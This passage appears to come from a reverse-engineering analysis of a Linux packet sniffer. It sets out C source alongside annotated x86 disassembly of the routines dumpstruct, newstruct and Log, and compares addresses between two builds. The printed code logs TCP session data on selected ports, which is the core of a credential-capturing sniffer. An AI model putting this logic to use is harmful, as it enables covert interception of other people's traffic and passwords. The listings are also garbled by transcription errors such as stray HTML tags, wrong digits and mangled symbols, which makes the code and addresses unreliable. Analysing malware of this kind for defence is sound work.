80486e9:	68 b9 08 09 08	push <b>\$0x80908b9</b>
80486ee:	e8 cd 20 00 00	call 804a7c0 <_IO_printf>
80486f3:	83 c4 10	add \$0x10,%esp
80486f6:	83 ec 08	sub \$0x8,%esp
80486f9:	8b 45 fc	<pre>mov 0xfffffffc(%ebp),%eax</pre>
80486fc:	89 c0	mov %eax, %eax
80486fe:	8d 14 85 00 00 00 00	lea 0x0(,%eax,4),%edx
8048705:	b8 00 77 0a 08	mov <b>\$0x80a7700</b> , %eax
804870a:	8b 04 02	mov (%edx,%eax,1),%eax
804870d:	0f b7 40 08	movzwl 0x8(%eax),%eax
8048711:	83 ec 04	sub \$0x4, %esp
8048714:	50	-
		1
8048715:	e8 06 b6 00 00	call 8053d20 <htons></htons>
804871a:	83 c4 08	add \$0x8,%esp
804871d:	89 c0	mov %eax,%eax
804871f:	89 c0	mov %eax,%eax
8048721:	0f b7 c0	movzwl %ax,%eax
8048724:	50	push %eax
8048725:	68 c6 08 09 08	push <b>\$0x80908c6</b>
804872a:	e8 91 20 00 00	call 804a7c0 <_IO_printf>
804872f:	83 c4 10	add \$0x10,%esp
8048732:	83 ec 08	sub \$0x8,%esp
8048735:	83 ec 04	sub \$0x4,%esp
8048738:	8b 45 fc	<pre>mov 0xffffffc(%ebp),%eax</pre>
804873b:	89 c0	mov %eax,%eax
804873d:	8d 14 85 00 00 00 00	lea 0x0(,%eax,4),%edx
8048744:	b8 00 77 0a 08	mov \$0x80a7700, %eax
8048749:	8b 04 02	mov (%edx,%eax,1),%eax
804874c:	ff 70 04	pushl 0x4(%eax)
804874f:	e8 8c fa ff ff	call 80481e0 <myinet ntoa=""></myinet>
8048754:	83 c4 08	add \$0x8, %esp
8048757:	89 c0	mov %eax,%eax
8048759:	50	push %eax
804875a:	68 d5 08 09 08	push <b>\$0x80908d5</b>
804875f:	e8 5c 20 00 00	call 804a7c0 <_IO_printf>
8048764:	83 c4 10	add \$0x10,%esp
8048767:	83 ec 08	sub \$0x8,%esp
804876a:	8b 45 fc	<pre>mov Oxfffffffc(%ebp),%eax</pre>
804876d:	89 c0	mov %eax,%eax
804876f:	8d 14 85 00 00 00 00	lea 0x0(,%eax,4),%edx
8048776:	b8 00 77 0a 08	mov <b>\$0x80a7700</b> , %eax
804877b:	8b 04 02	<pre>mov (%edx,%eax,1),%eax</pre>
804877e:	0f b7 40 0a	movzwl 0xa(%eax),%eax
1		

8048782:	83 ec 04	sub \$0x4,%esp
8048785:	50	push %eax
8048786:	e8 95 b5 00 00	call 8053d20 <htons></htons>
804878b:	83 c4 08	add \$0x8,%esp
804878e:	89 c0	mov %eax, %eax
8048790:	89 c0	mov %eax, %eax
8048792:	0f b7 c0	movzwl %ax,%eax 🛛 📉
8048795:	50	push %eax
8048796:	68 e2 08 09 08	push <b>\$0x80908e2</b>
804879b:	e8 20 20 00 00	call 804a7c0 < IO printf>
80487a0:	83 c4 10	add \$0x10,%esp
80487a3:	83 ec 08	sub \$0x8,%esp
80487a6:	8b 45 fc	<pre>mov 0xffffffc(%ebp),%eax</pre>
80487a9:	89 c0	mov %eax,%eax
80487ab:	8d 14 85 00 00 00 00	lea 0x0(,%eax,4),%edx
80487b2:	b8 00 77 0a 08	mov <b>\$0x80a7700</b> , %eax
80487b7:	8b 04 02	<pre>mov (%edx,%eax,1),%eax</pre>
80487ba:	83 c0 10	add \$0x10,%eax
80487bd:	50	push %eax
80487be:	68 fl 08 09 08	push <b>\$0x80908f1</b>
80487c3:	e8 f8 lf 00 00	call 804a7c0 <_IO_printf>
80487c8:	83 c4 10	add \$0x10,%esp
80487cb:	83 ec 0c	sub \$0xc,%esp
80487ce:	68 fe 08 09 08	push <b>\$0x80908fe</b>
80487d3:	e8 e8 1f 00 00	call 804a7c0 <_IO_printf>
80487d8:	83 c4 10	add \$0x10,%esp
80487db:	8d 45 fc	<pre>lea 0xffffffc(%ebp),%eax</pre>
80487de:	ff 00	incl (%eax)
80487e0:	e9 9f fe ff ff	jmp 8048684 <dumpstruct+0x10></dumpstruct+0x10>
80487e5:	8d 76 00	lea 0x0(%esi),%esi
80487e8:	83 ec 0c	sub \$0xc,%esp
80487eb:	68 20 09 09 08	push <b>\$0x8090920</b>
80487f0:	e8 cb 1f 00 00	call 804a7c0 <_IO_printf>
80487f5:	83 c4 10	add \$0x10,%esp
80487f8:	c9	leave
80487f9:	c3	ret
80487fa:	89 f6	mov %esi,%esi

Here we see use of the same variable, theipz, as was used in the previous routine (0x80a7700), more calls to htons, and printf format strings (addresses ranging from 0x8090880-0x8090920).

The next routine for us to examine is newstruct.

```
if (sip == theipz[i]->sip)
        if (dip == theipz[i]->dip)
          if (sport == theipz[i]->sport)
            if (dport == theipz[i]->dport)
              return (i);
    }
for (i = 0; i < 4012; i++)
 if (theipz[i] == NULL)
    {
      theipz[i] = calloc (1, sizeof (struct the ip));
      theipz[i]->sip = sip;
      theipz[i]->dip = dip;
      theipz[i]->sport = sport;
      theipz[i]->dport = dport;
      theipz[i]->time = time (NULL);
      theipz[i]->size = 0;
      memset (theipz[i]->data, 0, 4012);
      return (i);
    }
return (-1);
```

This routine gives us the following object code.

080487fc <newst< th=""><th>- ruot &gt; •</th><th></th><th></th><th></th></newst<>	- ruot > •			
80487fc:	55		push	%ebp
80487fd:	33 89 e5		-	-
804871d: 80487ff:		- · · ·	mov	%esp,%ebp
	83 ec 08		sub	\$0x8,%esp
8048802:	8b 45 10		mov	0x10(%ebp),%eax
8048805:	8b 55 14	-	mov	0x14(%ebp),%edx
8048808:	66 89 45		mov	<pre>%ax,0xfffffffe(%ebp)</pre>
804880c:	66 89 55		mov	%dx,0xffffffc(%ebp)
8048810:		3 ff ff ff ff	movl	<pre>\$0xfffffff,0xfffffff8(%ebp)</pre>
8048817:		3 00 00 00 00	movl	\$0x0,0xffffff8(%ebp)
804881e:	89 f6		mov	%esi,%esi
8048820:	81 7d f8	3 ab 0f 00 00	cmpl	\$0xfab,0xffffff8(%ebp)
8048827:	7e 07		jle	8048830 <newstruct+0x34></newstruct+0x34>
8048829:	e9 a2 00	00 00	jmp	80488d0 <newstruct+0xd4></newstruct+0xd4>
804882e:	89 f6		mov	%esi,%esi
8048830:	8b 45 f8	3	mov	<pre>0xfffffff8(%ebp),%eax</pre>
8048833:	89 c0		mov	%eax,%eax
8048835:	8d 14 85	5 00 00 00 00	lea	0x0(,%eax,4),%edx
804883c:	b8 00 77	7 0a 08	mov	<b>\$0x80a7700,</b> %eax
8048841:	83 3c 02	2 00	cmpl	\$0x0,(%edx,%eax,1)
8048845:	74 7d		je	80488c4 <newstruct+0xc8></newstruct+0xc8>
8048847:	8b 45 f8	3	mov	<pre>0xffffff8(%ebp),%eax</pre>
804884a:	89 c0		mov	%eax,%eax
804884c:	8d 14 85	5 00 00 00 00	lea	0x0(,%eax,4),%edx
8048853:	b8 00 77	7 0a 08	mov	<b>\$0x80a7700,</b> %eax
8048858:	8b 14 02	2	mov	(%edx,%eax,1),%edx
804885b:	8b 45 08	3	mov	0x8(%ebp),%eax
804885e:	3b 02		cmp	(%edx),%eax
8048860:	75 62		jne	80488c4 <newstruct+0xc8></newstruct+0xc8>
8048862:	8b 45 f8	3	mov	0xfffffff8(%ebp),%eax
8048865:	89 c0		mov	%eax,%eax

8048867:	8d 14 85 00	00 00 00	lea 0x0(,%eax,4),%edx
804886e:	b8 00 77 0a		mov <b>\$0x80a7700</b> , %eax
8048873:	8b 14 02	00	mov (%edx,%eax,1),%edx
8048876:	8b 45 0c		mov 0xc(%ebp),%eax
8048879:	3b 42 04		cmp = 0x4 (%edx), %eax
804887c:	75 46		jne 80488c4 <newstruct+0xc8></newstruct+0xc8>
804887e:	8b 45 f8		mov 0xfffffff8(%ebp),%eax
8048881:	89 c0		
8048883: 804888a:	8d 14 85 00 b8 00 77 0a		
804888f:		00	mov <b>\$0x80a7700</b> , %eax
	8b 14 02 66 8b 45 fe		<pre>mov (%edx,%eax,1),%edx </pre>
8048892:			<pre>mov 0xfffffffe(%ebp),%ax</pre>
8048896:	66 3b 42 08		cmp 0x8(%edx),%ax
804889a:	75 28		jne 80488c4 <newstruct+0xc8></newstruct+0xc8>
804889c:	8b 45 f8		<pre>mov 0xfffffff8(%ebp),%eax</pre>
804889f:	89 c0		mov %eax,%eax
80488a1:	8d 14 85 00		lea 0x0(,%eax,4),%edx
80488a8:	b8 00 77 0a	08	mov <b>\$0x80a7700</b> , %eax
80488ad:	8b 14 02		mov (%edx,%eax,1),%edx
80488b0:	8b 45 fc		mov Oxffffffc(%ebp),%eax
80488b3:	66 3b 42 0a		cmp Oxa(%edx),%ax
80488b7:	75 Ob		jne 80488c4 <newstruct+0xc8></newstruct+0xc8>
80488b9:	8b 45 f8		<pre>mov 0xffffff8(%ebp),%eax</pre>
80488bc:	89 c0		mov %eax, %eax
80488be:	e9 5a 01 00	00	jmp 8048ald <newstruct+0x221></newstruct+0x221>
80488c3:	90		nop
80488c4:	8d 45 f8		<pre>lea 0xffffff8(%ebp),%eax</pre>
80488c7:	ff 00		incl (%eax)
80488c9:	e9 52 ff ff	ff	jmp 8048820 <newstruct+0x24></newstruct+0x24>
80488ce:	89 f6		mov %esi,%esi
80488d0:	90		nop
80488d1:	c7 45 f8 00		<pre>movl \$0x0,0xffffff8(%ebp)</pre>
80488d8:	81 7d f8 ab	Of 00 00	<pre>cmpl \$0xfab,0xfffffff8(%ebp)</pre>
80488df:	7e 07 💦		jle 80488e8 <newstruct+0xec></newstruct+0xec>
80488e1:	e9 32 01 00	00	jmp 8048a18 <newstruct+0x21c></newstruct+0x21c>
80488e6:	89 f6 🔨		mov %esi,%esi
80488e8:	8b 45 f8		<pre>mov 0xffffff8(%ebp),%eax</pre>
80488eb:	89 c0		mov %eax,%eax
80488ed:	8d 14 85 00	00 00 00	lea 0x0(,%eax,4),%edx
80488f4:	b8 00 77 0a	08	mov <b>\$0x80a7700</b> , %eax
80488f9:	83 3c 02 00		<pre>cmpl \$0x0,(%edx,%eax,1)</pre>
80488fd:	Of 85 09 01	00 00	jne 8048a0c <newstruct+0x210></newstruct+0x210>
8048903:	83 ec 08		sub \$0x8,%esp
8048906:	68 c4 0f 00	00	push \$0xfc4
804890b:	6a 01		push \$0x1
804890d:	e8 4e 81 00	00	call 8050a60 < libc calloc>
8048912:	83 c4 10		add \$0x10,%esp
8048915:	89 c0		mov %eax, %eax
8048917:	89 cl		mov %eax,%ecx
8048919:	8b 45 f8		mov Oxffffff8(%ebp),%eax
804891c:	89 c0		mov %eax,%eax
804891e:	8d 14 85 00	00 00 00	lea 0x0(, %eax, 4), %edx
8048925:	b8 00 77 0a		mov <b>\$0x80a7700</b> , %eax
804892a:	89 Oc 02		mov %ecx, (%edx, %eax, 1)
804892d:	8b 45 f8		mov 0xfffffff8(%ebp),%eax
8048930:	89 c0		mov %eax,%eax
8048932:	8d 14 85 00		lea 0x0(,%eax,4),%edx
0010/02.	00 IF 00 00		ICU UNU (10CUN 11), 0CUN

8048939:		0 77	0a	80			mov	<b>\$0x80a7700,</b> %eax
804893e:	8b 1	4 02					mov	(%edx,%eax,1),%edx
8048941:	8b 4	5 08					mov	0x8(%ebp),%eax
8048944:	89 0	2					mov	<pre>%eax, (%edx)</pre>
8048946:	8b 4	5 f8					mov	0xfffffff8(%ebp),%eax
8048949:	89 c						mov	%eax,%eax
804894b:		4 85	00	00	00	0.0	lea	0x0(,%eax,4),%edx
8048952:		0 77			00	00	mov	\$0x80a7700, %eax
8048957:		4 02	υa	00				(%edx,%eax,1),%edx
							mov	
804895a:		5 Oc					mov	0xc(%ebp),%eax
804895d:		2 04					mov	%eax, 0x4(%edx)
8048960:		5 f8					mov	<pre>0xfffffff8(%ebp),%eax</pre>
8048963:	89 c						mov	%eax,%eax
8048965:		4 85			00	00	lea	0x0(,%eax,4),%edx
804896c:		0 77	0a	08			mov	<b>\$0x80a7700,</b> %eax
8048971:		4 02					mov	(%edx,%eax,1),%edx
8048974:	66 8	b 45	fe				mov	<pre>0xffffffe(%ebp),%ax</pre>
8048978:	66 8	9 42	08				mov	%ax,0x8(%edx)
804897c:	8b 4	5 f8					mov	<pre>0xfffffff8(%ebp),%eax</pre>
804897f:	89 c	0					mov	%eax, %eax
8048981:	8d 1	4 85	00	00	00	00	lea	0x0(,%eax,4),%edx
8048988:		0 77			-		mov	\$0x80a7700,%eax
804898d:		4 02					mov	(%edx, %eax, 1), %edx
8048990:		5 fc					mov	0xffffffc(%ebp),%eax
8048993:		9 42	0 =				mov	%ax,0xa (%edx)
8048997:		c 0c	va				sub	\$0xc, %esp
								-
804899a:	6a 0		0.0	00			push	\$0x0
804899c:		f ac	00	00			call	8053640 <time></time>
80489a1:	83 c						add	\$0x10,%esp
80489a4:	89 c						mov	%eax,%ecx
80489a6:		5 f8					mov	<pre>0xffffff8(%ebp),%eax</pre>
80489a9:	89 c						mov	%eax,%eax
80489ab:		4 85			00	00	lea	0x0(,%eax,4),%edx
80489b2:	b8 0	0 77	0a	08			mov	<b>\$0x80a7700,</b> %eax
80489b7:	8b 0	4 02					mov	(%edx,%eax,1),%eax
80489ba:	89 4	8 OC					mov	<pre>%ecx, 0xc(%eax)</pre>
80489bd:	8b 4	5 f8					mov	<pre>0xffffff8(%ebp),%eax</pre>
80489c0:	89 c	0					mov	%eax,%eax
80489c2:		4 85	00	00	00	00	lea	0x0(,%eax,4),%edx
80489c9:		0 77			-		mov	\$0x80a7700, %eax
80489ce:		4 02	. ~				mov	(%edx, %eax, 1), %eax
80489d1:		0 bc	0f	00	00	0.0	movl	\$0x0, 0xfbc(%eax)
80489d8:		0 00	<u>с</u> т	50	00	00	v T	T TIO, THE C ( UCUM)
80489db:		c 04					sub	\$0x4,%esp
			$\cap \cap$	00				-
80489de:		c Of	00	00			push	\$0xfac
80489e3:	6a 0						push	\$0x0
80489e5:		5 f8					mov	0xffffff8(%ebp),%eax
80489e8:	89 c		a -	a -	a -		mov	%eax,%eax
80489ea:		4 85			00	00	lea	0x0(,%eax,4),%edx
80489f1:		0 77	0a	08			mov	<b>\$0x80a7700,</b> %eax
80489f6:		4 02					mov	(%edx,%eax,1),%eax
80489f9:	83 c	0 10					add	\$0x10,%eax
80489fc:	50						push	%eax
80489fd:	e8 6	a a7	00	00			call	805316c <memset></memset>
8048a02:		4 10					add	\$0x10,%esp
8048a05:		5 f8					mov	0xffffff8(%ebp),%eax
8048a08:	89 c						mov	%eax, %eax
		5					1110 V	ocus ocus

8048a0a:	eb 11	jmp 8048ald <newstruct+0x221></newstruct+0x221>
8048a0c:	8d 45 f8	<pre>lea 0xffffff8(%ebp),%eax</pre>
8048a0f:	ff 00	incl (%eax)
8048a11:	e9 c2 fe ff ff	jmp 80488d8 <newstruct+0xdc></newstruct+0xdc>
8048a16:	89 f6	mov %esi,%esi
8048a18:	b8 ff ff ff ff	mov \$0xfffffff,%eax 👝
8048a1d:	с9	leave
8048a1e:	c3	ret
8048a1f:	90	nop

The only new things to note in this routine are the addresses of calloc (0x8050a60 which differs between the two versions by 4) and memset (0x805316c, which also differs between the two versions by 4).

The sixth of the seven routines we will examine is Log.

```
int
Log ()
{
  int i;
  char buffer[8012];
  LOG = 0;
  ip = (struct iphdr *) (buf + ETHHDRSIZE);
  tcp = (struct tcphdr *) (buf + IPHDRSIZE + ETHHDRSIZE);
  for (i = 0; i < sizeof (logname); i++)</pre>
    logname[i] = 0;
  for (i = 0; i < size of (tmp); i++)
    tmp[i] = 0;
  for (i = 0; i < sizeof (sip); i++)
    sip[i] = 0;
  for (i = 0; i < sizeof (dip); i++)</pre>
   dip[i] = 0;
  switch (ip->protocol)
    {
    case IPPROTO TCP:
      if ((h.len - (ETHHDRSIZE + IPHDRSIZE)) < TCPHDRSIZE)
        break;
      for (i = 0; coolport[i] != 31337; i++)
          if (coolport[i] == ntohs (tcp->th sport) ||
              coolport[i] == ntohs (tcp->th_dport))
            LOG = 1;
        }
      if (LOG != 1)
        return (1);
      sport = ntohs (tcp->th sport);
      dport = ntohs (tcp->th dport);
      if ((i = newstruct (ip->saddr, ip->daddr, tcp->th sport, tcp->th dport))
== -1)
        return (0);
      data = (char *) (buf + IPHDRSIZE + TCPHDRSIZE + ETHHDRSIZE);
      len = (h.len) - (IPHDRSIZE + TCPHDRSIZE + ETHHDRSIZE);
      memset (buffer, 0, sizeof (buffer));
      goodstr (data, buffer, len);
```

```
strncat (theipz[i]->data, buffer, (4010 - strlen (theipz[i]->data)));
if ((tcp->th_flags & TH_RST) || (tcp->th_flags & TH_FIN))
flushstruct (i, 1);
else
flushstruct (i, 0);
fflush (filez);
break;
}
return (1);
```

#### The object code.

08048a20 <log>:</log>								
8048a20:	55						push	%ebp
8048a21:	89	e 5					mov	%esp,%ebp
8048a23:	56	00					push	%esi
8048a24:	53						push	%ebx
8048a25:		ec (	60 1	£ 00	0.0		sub	\$0x1f60,%esp
8048a2b:				c 44		08	movw	\$0x0, <b>0x80a44ac</b>
8048a32:	00			-				
8048a34:			05 b	8 b5	0a	08	movzwl	<b>0x80ab5b8</b> ,%eax
8048a3b:	03	05 0	d8 b	5 0a	08		add	<b>0x80ab5d8</b> ,%eax
8048a41:	a3	e0 '	76 0	a 08			mov	%eax, 0x80a76e0
8048a46:	0f	b7 (	05 b	8 b5	0a	08	movzwl	<b>0x80ab5b8</b> ,%eax
8048a4d:	03	05 0	d8 b	5 0a	08		add	0x80ab5d8,%eax
8048a53:	83	c0 1	14				add	\$0x14,%eax
8048a56:	a3	c0 ł	o5 0	a 08			mov	%eax <b>,0x80ab5c0</b>
8048a5b:	c7	45 :	£4 0	0 00	00	00	movl	\$0x0,0xfffffff4(%ebp)
8048a62:	89	f6					mov	%esi,%esi
8048a64:	81	7d :	f4 f	e 00	00	00	cmpl	<pre>\$0xfe,0xfffffff4(%ebp)</pre>
8048a6b:	76	03					jbe	8048a70 <log+0x50></log+0x50>
8048a6d:	eb	15					jmp	8048a84 <log+0x64></log+0x64>
8048a6f:	90						nop	
8048a70:	ba	a0 (	64 0	a 08			mov	<b>\$0x80a64a0,</b> %edx
8048a75:		45 :					mov	0xfffffff4(%ebp),%eax
8048a78:			10 0	C			movb	\$0x0,(%eax,%edx,1)
8048a7c:		45 :	£4				lea	0xfffffff4(%ebp),%eax
8048a7f:	ff						incl	(%eax)
8048a81:	eb	e1					jmp	8048a64 <log+0x44></log+0x44>
8048a83:	90						nop	
8048a84:	90						nop	
8048a85:	-	-		0 00			movl	\$0x0,0xfffffff4(%ebp)
8048a8c:			t4 f	e 00	00	00	cmpl	\$0xfe,0xfffffff4(%ebp)
8048a93:	76						jbe	8048a98 <log+0x78></log+0x78>
8048a95:	eb	15					jmp	8048aac <log+0x8c></log+0x8c>
8048a97:	90 Is s	- 0					nop	
8048a98:				a 08			mov	<b>\$0x80a65a0</b> , %edx
8048a9d:		45 :		2			mov	0xfffffff(%ebp),%eax
8048aa0:		-	10 0	J			movb	\$0x0, (%eax, %edx, 1)
8048aa4:		45 :	L4				lea	<pre>0xfffffff4(%ebp),%eax (%ear)</pre>
8048aa7:	ff eb						incl	(%eax)
8048aa9:		ет					jmp non	8048a8c <log+0x6c></log+0x6c>
8048aab: 8048aac:	90 90						nop	
8048aad:		15 -	F1 ∩	0 00	00	0.0	nop movl	S(v) = 0vffffff(v)
0040aau.	07	чЈ.	L4 U	0 00	00	00	TILOVI	\$0x0,0xfffffff4(%ebp)

8048ab4:	81	7d	f4	fe	00	00	00	cmpl	<pre>\$0xfe,0xffffffff(%ebp)</pre>
8048abb:	76	03						jbe	8048ac0 <log+0xa0></log+0xa0>
8048abd:	eb	15						jmp	8048ad4 <log+0xb4></log+0xb4>
8048abf:	90							nop	-
8048ac0:	ba	a0	66	0a	08			mov	<b>\$0x80a66a0</b> , %edx
8048ac5:	8b	45	f4					mov	0xfffffff4(%ebp),%eax
8048ac8:		04		0.0				movb	\$0x0, (%eax, %edx, 1)
8048acc:		45		00				lea	0xffffffff((%ebp),%eax
8048acf:	ff							incl	(%eax)
8048ad1:	eb							jmp	8048ab4 <log+0x94></log+0x94>
8048ad3:	90	CI						nop	
8048ad4:	90							nop	
8048ad5:		15	fЛ	00	00	00	0.0	movl	\$0x0,0xfffffff4(%ebp)
8048adc:						00			\$0xfe,0xffffffff(%ebp)
8048ae3:	76		14	те	00	00	00	cmpl	8048ae8 <log+0xc8></log+0xc8>
								jbe	
8048ae5:	eb	10						jmp	8048afc <log+0xdc></log+0xdc>
8048ae7:	90	- 0	<b>C</b> 7	0 -	0.0			nop	
8048ae8:				0a	Uδ			mov	<b>\$0x80a67a0</b> , %edx
8048aed:		45		0.0				mov	Oxfffffff4(%ebp),%eax
8048af0:		04		00				movb	\$0x0, (%eax,%edx,1)
8048af4:		45	±4					lea	0xfffffff4(%ebp),%eax
8048af7:	ff							incl	(%eax)
8048af9:	eb	еl						jmp	8048adc <log+0xbc></log+0xbc>
8048afb:	90	_						nop	
8048afc:				0a	08			mov	<b>0x80a76e0</b> , %eax
8048b01:		b6		09					0x9(%eax),%eax
8048b05:		f8	06					cmp	\$0x6,%eax
8048b08:	74							je	8048b10 <log+0xf0></log+0xf0>
8048b0a:		52	02	00	00			jmp	8048d61 <log+0x341></log+0x341>
8048b0f:	90							nop	
8048b10:						0a	08	movzwl	<b>0x80ab5b8</b> , %edx
8048b17:			b5	0a	08			mov	<b>0x80ab5d4</b> ,%eax
8048b1c:	29							sub	%edx,%eax
8048b1e:		e8						sub	\$0x14,%eax
8048b21:		f8	13					cmp	\$0x13,%eax
8048b24:	77							ja	8048b2c <log+0x10c></log+0x10c>
8048b26:	e9	36	02	00	00			jmp	8048d61 <log+0x341></log+0x341>
8048b2b:	90							nop	
8048b2c:	90							nop	
8048b2d:				00	00	00	00	movl	\$0x0,0xfffffff4(%ebp)
8048b34:		45	f4					mov	<pre>0xfffffff4(%ebp),%eax</pre>
8048b37:	89	сО						mov	%eax,%eax
8048b39:		14						lea	(%eax,%eax,1),%edx
8048b3c:	b8	96	44	0a	08			mov	<b>\$0x80a4496,</b> %eax
8048b41:				02		7a		cmpw	<i>\$0x7a69</i> ,(%edx,%eax,1)
8048b47:	75	03						jne	8048b4c <log+0x12c></log+0x12c>
8048b49:	eb	71						jmp	8048bbc <log+0x19c></log+0x19c>
8048b4b:	90							nop	-
8048b4c:	8b	45	f4					mov	0xfffffff4(%ebp),%eax
8048b4f:		с0						mov	%eax,%eax
8048b51:		34	00					lea	(%eax,%eax,1),%esi
8048b54:				0a	08			mov	\$0x80a4496, %ebx
8048b59:				0a				mov	0x80ab5c0,%eax
8048b5e:		b7						movzwl	(%eax),%eax
8048b61:		ec						sub	\$0xc,%esp
8048b64:	50							push	%eax
8048b65:		b6	b1	00	00			call	8053d20 <htons></htons>
	20			20					

8048b6a:	83 c4 10		add	\$0x10,%esp
8048b6d:	89 c0		mov	%eax,%eax
8048b6f:	89 c0		mov	%eax,%eax
8048b71:	66 39 04 1	۵	cmp	%ax,(%esi,%ebx,1)
	74 31	C	-	
8048b75:	-		je	8048ba8 <log+0x188></log+0x188>
8048b77:	8b 45 f4		mov	0xfffffff4(%ebp),%eax
8048b7a:	89 c0		mov	%eax,%eax
8048b7c:	8d 34 00		lea	(%eax,%eax,1),%esi
8048b7f:	bb 96 44 0	a 08	mov	<b>\$0x80a4496,</b> %ebx
8048b84:	a1 c0 b5 0	a 08	mov	0x80ab5c0,%eax
8048b89:	0f b7 40 0			0x2(%eax),%eax
8048b8d:	83 ec 0c	2	sub	\$0xc, %esp
8048b90:	50		push	%eax
8048b91:	e8 8a b1 0	0 00	call	8053d20 <htons></htons>
8048b96:	83 c4 10		add	\$0x10,%esp
8048b99:	89 c0		mov	<pre>%eax, %eax</pre>
8048b9b:	89 c0		mov	<pre>%eax, %eax</pre>
8048b9d:	66 39 04 1	е	cmp	%ax,(%esi,%ebx,1)
8048ba1:	74 05		je	8048ba8 <log+0x188></log+0x188>
8048ba3:	eb 0c		jmp	8048bb1 <log+0x191></log+0x191>
				-
8048ba5:	8d 76 00	- 44 0 00	lea	0x0(%esi),%esi
8048ba8:		c 44 0a 08	movw	\$0x1 <b>,0x80a44ac</b>
8048baf:	01 00			
8048bb1:	8d 45 f4		lea	0xfffffff4(%ebp),%eax
8048bb4:	ff 00		incl	(%eax)
8048bb6:	e9 79 ff f	f ff	jmp	8048b34 <log+0x114></log+0x114>
8048bbb:	90		nop	2
8048bbc:		c 44 0a 08	cmpw	\$0x1 <b>,0x80a44ac</b>
8048bc3:	00 05 54 4	11 00 00	0L.	
8048bc4:	74 0a		io	80/8bd0 $< I art 0x1b0$
		0.00	je	8048bd0 <log+0x1b0></log+0x1b0>
8048bc6:	b8 01 00 0		mov	\$0x1,%eax
8048bcb:	e9 96 01 0		jmp	8048d66 <log+0x346></log+0x346>
8048bd0:	al c0 b5 0	a 08	mov	0x80ab5c0,%eax
8048bd5:	0f b7 00		movzwl	(%eax),%eax
8048bd8:	83 ec 0c		sub	\$0xc,%esp
8048bdb:	50		push	%eax
8048bdc:	e8 3f b1 0	0 00	call	8053d20 <htons></htons>
8048be1:	83 c4 10		add	\$0x10,%esp
8048be4:	89 c0			· •
		1 0 - 0 0	mov	%eax,%eax
8048be6:	66 a3 ae 4		mov	%ax,0x80a44ae
8048bec:	a1 c0 b5 0		mov	0x80ab5c0,%eax
8048bf1:	Of b7 40 0	2	movzwl	0x2(%eax),%eax
8048bf5:	/83 ec 0c		sub	\$0xc,%esp
8048bf8:	50		push	%eax
8048bf9:	e8 22 b1 0	0 00	call	8053d20 <htons></htons>
8048bfe:	83 c4 10		add	\$0x10,%esp
8048c01:	89 c0		mov	%eax,%eax
	66 a3 b0 4	1 02 00		
8048c03:			mov	%ax, <b>0x80a44b0</b>
8048c09:	a1 c0 b5 0		mov	0x80ab5c0,%eax
8048c0e:	0f b7 40 0	2		0x2(%eax),%eax
8048c12:	50		push	%eax
8048c13:	a1 c0 b5 0	a 08	mov	0x80ab5c0,%eax
8048c18:	0f b7 00		movzwl	
	50		push	%eax
8048c1b.			Pusii	ocur
8048c1b:		- 00		0
8048c1c:	al e0 76 0	a 08	mov	<b>0x80a76e0</b> , %eax
			mov pushl	<b>0x80a76e0</b> ,%eax 0x10(%eax) <b>0x80a76e0</b> ,%eax

8048622:         ff 70 0c         pushl         0xc(%eax)           8048623:         acd         b0 ff ff         acdl         80x10,%eap           8048636:         acd         for v         %eax,%eax           8048643:         b0 00 00 00         mov         %eax,0xffffffff4(%ebp)           8048644:         e9 1 d 01 00 00         mov x0 0x60abbb6,%eax           8048644:         e9 1 d 01 00 00         mov x0 0x60abbb6,%eax           8048665:         acd acd         for obs bb 50 a 08         add         for obs bb 50 a 08           8048655:         acd 2 acd         b0 a 08         mov wexav 0x80abbc4         %eax           8048666:         for all db 50 a 08         mov 0x80abbf6,%ax         %odebbf6,%ax           8048671:         85 a8 28         add         for obs bb 60 a 08         mov 0x80abbf6,%ax           8048671:         85 a8 28         for obs bb 60 a 08         mov 0x80abbf6,%ax         %odebbf6,%ax           8048674:         86 a 20         mov 0x80abbf6,%ax         %odebbf6,%ax		~ ~		-						0 /0 /
8048c31:       83 c4 10       add       \$0x10, kesp         8048c36:       89 c0       mov       %eax, %eax         8048c36:       89 45 f4       mov       %eax, 0xffffffff4(%ebp)         8048c36:       83 7d f4 ff       cmp1       \$0xffffffff4(%ebp)         8048c36:       83 7d f4 ff       cmp1       \$0xffffffff4(%ebp)         8048c34:       91 d0 10 00       mov       %eax       \$0x70, %eax         8048c44:       91 d0 10 00       mov       \$0x70, %eax       \$0x00x20x3465         8048c45:       96 d0 10 00       mov       \$0x00x556, %eax       \$0x00x20x30x556, %eax         8048c51:       33 c4 b5 0a 08       mov       \$0x80ab564, %eax       \$0x10, %eax         8048c51:       33 c4 b5 0a 08       mov       \$0x80ab564, %eax       \$0x426, %eax         8048c51:       63 ca 44 0a 08       mov       \$0x80ab564, %eax       \$0x426, %eax         8048c51:       63 ca 44 0a 08       mov       \$0x80ab564, %eax       \$0x426, %eax         8048c52:       64 ca 40 00       push       \$0x114       \$0x426, %eax         8048c52:       64 ca 40 00       push       \$0x14       \$0x44       \$0x426, %eax         8048c52:       64 ca 40 00       push       \$0x1									-	
8048034:         89 c0         mov         %eax.%eax           8048036:         84 f4         mov         %eax.%orfffffff4(%ebp)           8048036:         84 f4         mov         %eax.%orffffffff4(%ebp)           8048036:         84 f4         mov         %eax.%orffffffff4(%ebp)           8048036:         80 d0 00 00 00         mov         \$000.%eax           8048030:         80 d8 c4:         9 1d 01 00 00         imp         8048046           8048040:         80 d8 c4:         9 1d 01 00 00         imp         8048045           8048051:         60 0         100 00         imp         8048045           8048052:         83 c0 28         add         \$0x28,%eax           8048051:         66 15 b8 b5 0a 08         mov         \$eax,0x80ab54,%eax           8048051:         66 a1 d4 b5 0a 08         mov         \$wax,0x80ab54,%eax           8048061:         66 a1 d4 0a 08         mov         \$wax,0x80ab54,%eax           8048062:         6a 00         push         \$0x164           8048062:         6a 00         push         \$0x164           8048062:         6a 00         push         \$0x164           8048062:         6a 00         push         \$0x164     <					ff	ff				
8048636:       89       45       f4       mov       %eax,0xfffffff()xfffff4(%ebp)         8048636:       75       0d       jne       804864c<				10					add	\$0x10,%esp
8048633:       83 7d ff ff       cmp1       S0xfffffffff0xfffffffffffffffffffffffff	8048c34:	89	с0						mov	%eax,%eax
